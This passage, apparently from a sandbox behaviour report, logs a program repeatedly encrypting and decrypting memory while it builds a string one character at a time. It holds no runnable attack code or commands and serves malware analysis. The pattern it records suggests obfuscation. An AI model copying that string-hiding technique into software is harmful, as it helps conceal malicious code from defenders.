(param_1="\x22fc\xb091\x9a12\xbe08\x6ca0\x26de\x60c7\x850c") returned 0x8 [0131.807] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.808] SysStringLen (param_1="Ic") returned 0x8 [0131.808] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.808] SysStringLen (param_1="堗⽻僂펚ු골瀙榊") returned 0x8 [0131.808] SysStringLen (param_1="堗⽻僂펚ු골瀙榊") returned 0x8 [0131.808] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.808] SysStringLen (param_1="Ico") returned 0x8 [0131.808] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.808] SysStringLen (param_1="\x1ba2\x4406\xccdf\x1da4\xab46\xf7c\x5680\x9640") returned 0x8 [0131.808] SysStringLen (param_1="\x1ba2\x4406\xccdf\x1da4\xab46\xf7c\x5680\x9640") returned 0x8 [0131.808] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.808] SysStringLen (param_1="Icop") returned 0x8 [0131.808] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.808] SysStringLen (param_1="\x6327\xef35\x73ca\x261d\xebaa\x250e\xff85\x2ec8") returned 0x8 [0131.808] SysStringLen (param_1="\x6327\xef35\x73ca\x261d\xebaa\x250e\xff85\x2ec8") returned 0x8 [0131.808] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.809] SysStringLen (param_1="Icopc") returned 0x8 [0131.809] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.809] SysStringLen (param_1="\xd473\xda2b\x4a5b\xe6f\x250a\xaf01\x6ebb\x592c") returned 0x8 [0131.809] SysStringLen (param_1="\xd473\xda2b\x4a5b\xe6f\x250a\xaf01\x6ebb\x592c") returned 0x8 [0131.809] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.809] SysStringLen (param_1="Icopch") returned 0x8 [0131.809] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.809] SysStringLen (param_1="\xd23f\xa34f\x95cd\xe6ea\xbd1f\x51e4\x34f9\xba2a") returned 0x8 [0131.809] SysStringLen (param_1="\xd23f\xa34f\x95cd\xe6ea\xbd1f\x51e4\x34f9\xba2a") returned 0x8 [0131.809] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.809] SysStringLen (param_1="Icopchf") returned 0x8 [0131.809] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.810] SysStringLen (param_1="\x2afe\x88ad\x45b4\x5fe3\xd1fe\xc6bf\x7c73\xeb2") returned 0x8 [0131.810] SysStringLen (param_1="\x2afe\x88ad\x45b4\x5fe3\xd1fe\xc6bf\x7c73\xeb2") returned 0x8 [0131.810] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.810] SysStringLen (param_1="Icopchfd") returned 0x8 [0131.810] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.810] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66") returned 0x8 [0131.810] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66") returned 0x8 [0131.810] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66") returned 0x8 [0131.810] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66") returned 0x10 [0131.810] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.810] SysStringLen (param_1="Icopchfd/꼊ﮈᠫ⼓") returned 0x10 [0131.810] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.810] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\xde79\xeb6d\x5110\x23c0\x380f\x97f9\x8aa6\xd1a4") returned 0x10 [0131.810] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\xde79\xeb6d\x5110\x23c0\x380f\x97f9\x8aa6\xd1a4") returned 0x10 [0131.810] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.810] SysStringLen (param_1="Icopchfd/fﮈᠫ⼓") returned 0x10 [0131.811] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.811] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x373f\x321d\x49f5\x9e0d\xd49\x653a\xab7b\x3c07") returned 0x10 [0131.811] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x373f\x321d\x49f5\x9e0d\xd49\x653a\xab7b\x3c07") returned 0x10 [0131.811] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.811] SysStringLen (param_1="Icopchfd/fQᠫ⼓") returned 0x10 [0131.811] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.811] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x4f43\x72d7\xa57a\x54e5\xafc3\x2c32\x192d\x414e") returned 0x10 [0131.811] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x4f43\x72d7\xa57a\x54e5\xafc3\x2c32\x192d\x414e") returned 0x10 [0131.811] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.811] SysStringLen (param_1="Icopchfd/fQ7ᠫ⼓") returned 0x10 [0131.811] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.811] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\xc78f\x532f\x5295\xfc8e\x645b\xa565\x286e\xd201") returned 0x10 [0131.811] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\xc78f\x532f\x5295\xfc8e\x645b\xa565\x286e\xd201") returned 0x10 [0131.811] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.811] SysStringLen (param_1="Icopchfd/fQ7S⼓") returned 0x10 [0131.811] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.812] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x7575\xf4c2\x4bcd\xb68\x654a\x838e\x2b93\xd79a") returned 0x10 [0131.812] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x7575\xf4c2\x4bcd\xb68\x654a\x838e\x2b93\xd79a") returned 0x10 [0131.812] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.812] SysStringLen (param_1="Icopchfd/fQ7SP") returned 0x10 [0131.812] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.812] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x5413\x23c4\xb577\xe9a\xf7c5\xcffe\x9423\x3075") returned 0x10 [0131.812] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x5413\x23c4\xb577\xe9a\xf7c5\xcffe\x9423\x3075") returned 0x10 [0131.812] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.812] SysStringLen (param_1="Icopchfd/fQ7SPW") returned 0x10 [0131.812] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.812] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x963a\x167\xde16\x8806\x3ed4\xac14\x56cf\xb309") returned 0x10 [0131.812] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x963a\x167\xde16\x8806\x3ed4\xac14\x56cf\xb309") returned 0x10 [0131.812] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.812] SysStringLen (param_1="Icopchfd/fQ7SPWe") returned 0x10 [0131.812] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.812] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b") returned 0x10 [0131.813] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b") returned 0x10 [0131.813] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b") returned 0x10 [0131.813] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b") returned 0x18 [0131.813] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.813] SysStringLen (param_1="Icopchfd/fQ7SPWe/㊮絤敤⠴쟝Ʊ") returned 0x18 [0131.813] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.813] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\x4be0\xd981\xf3e\xd9ea\x3c66\x39bd\xf6d3\xe9bf") returned 0x18 [0131.813] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\x4be0\xd981\xf3e\xd9ea\x3c66\x39bd\xf6d3\xe9bf") returned 0x18 [0131.813] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.813] SysStringLen (param_1="Icopchfd/fQ7SPWe/P絤敤⠴쟝Ʊ") returned 0x18 [0131.813] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.813] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\x51c\xe8b9\xba74\x3d83\x48f4\x8904\x5609\x5e67") returned 0x18 [0131.813] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\x51c\xe8b9\xba74\x3d83\x48f4\x8904\x5609\x5e67") returned 0x18 [0131.813] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.813] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ敤⠴쟝Ʊ") returned 0x18 [0131.813] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.813] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xa6c6\xb230\xeab9\x61e8\x500c\x4a92\x7ca0\xa0e1") returned 0x18 [0131.814] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xa6c6\xb230\xeab9\x61e8\x500c\x4a92\x7ca0\xa0e1") returned 0x18 [0131.814] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.814] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1⠴쟝Ʊ") returned 0x18 [0131.814] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.814] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xd0ce\xb843\x1cf2\x2f6a\x14e3\x3f36\xcf02\x1612") returned 0x18 [0131.814] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xd0ce\xb843\x1cf2\x2f6a\x14e3\x3f36\xcf02\x1612") returned 0x18 [0131.814] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.814] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1K쟝Ʊ") returned 0x18 [0131.814] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.814] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\x44f\x29ab\x7949\x3875\xb50e\x4e0\x5bb6\xac71") returned 0x18 [0131.814] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\x44f\x29ab\x7949\x3875\xb50e\x4e0\x5bb6\xac71") returned 0x18 [0131.814] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.814] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1KtƱ") returned 0x18 [0131.814] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.814] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\x48e8\x8bbd\xe087\xb052\xe509\xcdf\x3d58\x6d55") returned 0x18 [0131.814] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\x48e8\x8bbd\xe087\xb052\xe509\xcdf\x3d58\x6d55") returned 0x18 [0131.814] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.815] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2") returned 0x18 [0131.815] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.815] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\x9482\x224b\x83d3\xf59f\x9095\xea1b\x9088\x92ee") returned 0x18 [0131.815] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\x9482\x224b\x83d3\xf59f\x9095\xea1b\x9088\x92ee") returned 0x18 [0131.815] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.815] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M") returned 0x18 [0131.815] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.815] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c") returned 0x18 [0131.815] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c") returned 0x18 [0131.815] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c") returned 0x18 [0131.815] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c") returned 0x20 [0131.815] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.815] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+杘⥰஫ⴆ瑋ꈇ蛟") returned 0x20 [0131.815] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.815] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x9195\x3399\x8554\xa0f9\x5472\x7147\xd683\x34c5") returned 0x20 [0131.815] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x9195\x3399\x8554\xa0f9\x5472\x7147\xd683\x34c5") returned 0x20 [0131.816] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.816] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+C⥰஫ⴆ瑋ꈇ蛟") returned 0x20 [0131.816] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.816] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\xa4a3\xd4ca\xfa51\x7a9d\x2985\x9349\x9fda\xbcbc") returned 0x20 [0131.816] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\xa4a3\xd4ca\xfa51\x7a9d\x2985\x9349\x9fda\xbcbc") returned 0x20 [0131.816] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.816] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CT஫ⴆ瑋ꈇ蛟") returned 0x20 [0131.816] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.816] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\xd1b6\x934b\xc07a\x139f\xcb54\xce69\x178f\x6bd4") returned 0x20 [0131.816] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\xd1b6\x934b\xc07a\x139f\xcb54\xce69\x178f\x6bd4") returned 0x20 [0131.816] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.816] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CTJⴆ瑋ꈇ蛟") returned 0x20 [0131.816] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.816] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x9681\x123d\xdd4b\xc7fd\xaca6\xe0fc\x46de\x42d0") returned 0x20 [0131.816] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x9681\x123d\xdd4b\xc7fd\xaca6\xe0fc\x46de\x42d0") returned 0x20 [0131.816] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.817] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CTJ4瑋ꈇ蛟") returned 0x20 [0131.817] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.817] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x39a5\x9639\x3d1f\x1079\x511\x4c9d\x1ca1\x5dfc") returned 0x20 [0131.817] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x39a5\x9639\x3d1f\x1079\x511\x4c9d\x1ca1\x5dfc") returned 0x20 [0131.817] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.817] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CTJ4Yꈇ蛟") returned 0x20 [0131.817] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.817] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x4735\x27bf\x417a\x4910\x26a3\x7a26\x80e8\x5378") returned 0x20 [0131.817] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x4735\x27bf\x417a\x4910\x26a3\x7a26\x80e8\x5378") returned 0x20 [0131.817] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.817] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CTJ4Yv蛟") returned 0x20 [0131.817] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.817] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x9f57\xccd6\x758a\xa2d1\xc3be\xcc9b\xccb\x1383") returned 0x20 [0131.817] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x9f57\xccd6\x758a\xa2d1\xc3be\xcc9b\xccb\x1383") returned 0x20 [0131.817] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.817] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CTJ4YvM") returned 0x20 [0131.817] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.819] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b") returned 0x20 [0131.819] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b") returned 0x20 [0131.819] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b") returned 0x20 [0131.819] SysStringLen (param_1="\xfd2b\xaf20\x88c0\xe3a7\xdceb\x3b86\xa80b\xda66\x2bec\x3284\xe2c\x6462\xecf4\xd348\x444a\xee8b\xf8b0\x6772\x5a38\xaad\xe9c6\x60de\xe7fc\xb60c\x656e\x8e83\x3069\x423f\x14ca\x6e7e\x1321\x227b\x57\x53\x42\x4c\x64\x57\x59\x70") returned 0x28 [0131.819] SystemFunction041 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.819] SysStringLen (param_1="Icopchfd/fQ7SPWe/PJ1Kt2M+CTJ4YvMX묨鱄ⶈ丽췪鋦巁") returned 0x28 [0131.819] SystemFunction040 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.819] SysStringLen 